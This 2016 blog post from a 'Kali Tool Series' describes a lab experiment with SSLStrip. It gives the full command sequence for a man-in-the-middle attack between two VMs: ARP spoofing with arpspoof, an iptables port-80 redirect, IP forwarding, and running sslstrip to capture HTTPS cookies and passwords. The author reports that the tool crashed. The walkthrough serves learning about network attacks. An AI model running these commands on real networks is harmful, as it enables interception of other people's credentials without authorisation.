Wednesday, April 6, 2016

Kali Tool Series - SSLStrip

Refer to “How does SSLstrip work?” on StackExchange: SSLStrip is a type of MitM attack that forces a victim’s browser into communicating with an adversary in plain-text over HTTP, and the adversary proxies the modified content from an HTTPS server. To do this, SSLStrip is “stripping” https:// URLs and turning them into http:// URLs.
> sslstrip -h

sslstrip 0.9 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

Overview

We will use ARP Spoofing in order to obtain the victim’s traffic, which means that the traffic will go through our Kali machine then pass back to the victim or the server he/she is communicating with. Then, we will be listening on port 80, the basic HTTP protocol port. All the traffic of port 80 will be routed to SSLStrip, and SSLStrip will handle rest of the HTTPS traffics.
The expected results was that the attacker will be able to read the requests between the victim and the HTTPS websites he/she is visiting, which may contains valuable cookies or passwords. However, in my experiment, SSLStrip crashed, and it’s seems that this method is out of date.

Find the Gateway IP

> route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.63.2    0.0.0.0         UG    0      0        0 eth0
0.0.0.0         192.168.63.2    0.0.0.0         UG    1024   0        0 eth0
192.168.63.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0
192.168.63.2    0.0.0.0         255.255.255.255 UH    1024   0        0 eth0

or,
> netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.63.2    0.0.0.0         UG        0 0          0 eth0
0.0.0.0         192.168.63.2    0.0.0.0         UG        0 0          0 eth0
192.168.63.0    0.0.0.0         255.255.255.0   U         0 0          0 eth0
So, the Gateway IP is 192.168.63.2 in my case.

Find the Victim IP

As I run Kali in VM, I will let the victim be a Ubuntu server, which is also another VM on my machine. I run this on my Ubuntu:
> ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:4f:5f:5b
          inet addr:192.168.63.152  Bcast:192.168.63.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe4f:5f5b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:118 errors:0 dropped:0 overruns:0 frame:0
          TX packets:81 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:15530 (15.5 KB)  TX bytes:14538 (14.5 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:16 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1184 (1.1 KB)  TX bytes:1184 (1.1 KB)
That is, the victim IP is 192.168.63.152. If you have no access of the victim machine, you can use commands like nmap -sP 192.168.63.0/24 to search.

IP Routing

We are going to redirect Kali’s inbound traffic from 80 to the port SSLStrip is running on (let’s use 5050 here).
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5050
To check if the routing rule is set:
> iptables -L -vt nat
Chain PREROUTING (policy ACCEPT 100 packets, 13501 bytes)
 pkts bytes target     prot opt in     out     source               destination
   16   960 REDIRECT   tcp  --  any    any     anywhere             anywhere             tcp dpt:http redir ports 5050
… 
If you want to clean up some mess and reset, here’s the way to clear all PREROUTING rules:
for i in $( iptables -t nat --line-numbers -L | grep ^[0-9] | awk '{ print $1 }' | tac ); do iptables -t nat -D PREROUTING $i; done

IP Forwarding

Since we are going to issue ARP Spoofing later, we have to enable IP forwarding first. So, whenever the Kali machine recieves packages, it will send them to the proper destination. We call this MitM (Man in the Middle).
> echo 1 > /proc/sys/net/ipv4/ip_forward
> cat /proc/sys/net/ipv4/ip_forward # check
1

ARP Sproof

Now, in order to let the traffic flow through our Kali machine (Mitm), we need ARP Sproof. The syntax is:
> arpspoof -i interface -t target_IP -r gateway_IP
In our case:
> arpspoof -i eth0 -t 192.168.63.152 -r 192.168.63.2
0:c:29:80:9a:85 0:50:56:e9:3:c 0806 42: arp reply 192.168.63.156 is-at 0:c:29:5a:28:9e
0:c:29:80:9a:85 0:c:29:5a:28:9e 0806 42: arp reply 192.168.63.2 is-at 0:50:56:e9:3:c
… 
The process is blocking, and we should keep it running.

SSLStrip

Start SSLStrip on port 5050 (or any port you like, just make sure that matches the one we used in IP Routing).
> sslstrip -l 5050

sslstrip 0.9 by Moxie Marlinspike running...

Victim Browse HTTPS Websites

Since my victim only has Command Line Interface, so I am using lynx as my browser.
> lynx http://www.paypal.com
On Kali’s Wireshark, we can tell that ARP Spoofing is working because all duplicated packages are shown. (In the screenshot, the upper part happened when ARP Spoofing was off, and all the traffics looks normal. The lower part happened when ARP Spoofing was on, we can see that Kali recieved all the traffic to/from victim, 192.168.63.152, then passed through.)


SSLStrip Result

SSLStrip crashed right after the user is about to connect the HTTPS website. I’ve tried to get the latest SSLStrip 0.9.2, but it crashes in the same way. And, I also found the other users are suffering from this issue as well: sslstrip on non hsts site error #17 and Execptions in twisted #15.
There’s the error:
sslstrip 0.9 by Moxie Marlinspike running...
Unhandled Error
Traceback (most recent call last):
  File "sslstrip.py", line 105, in main
    reactor.run()
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1192, in run
    self.mainLoop()
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1204, in mainLoop
    self.doIteration(t)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 88, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 73, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 627, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
    selectable.connectionLost(f)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 484, in connectionLost
    self._commonConnection.connectionLost(self, reason)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 298, in connectionLost
    protocol.connectionLost(reason)
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 474, in connectionLost
    self.handleResponseEnd()
  File "/root/sslstrip-0.9.2/src/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
    HTTPClient.handleResponseEnd(self)
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 485, in handleResponseEnd
    self.handleResponse(b)
  File "/root/sslstrip-0.9.2/src/sslstrip/ServerConnection.py", line 133, in handleResponse
    self.client.write(data)
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 962, in write
    raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
The experiment didn’t work, and I may come back to this if I found something new.

Reference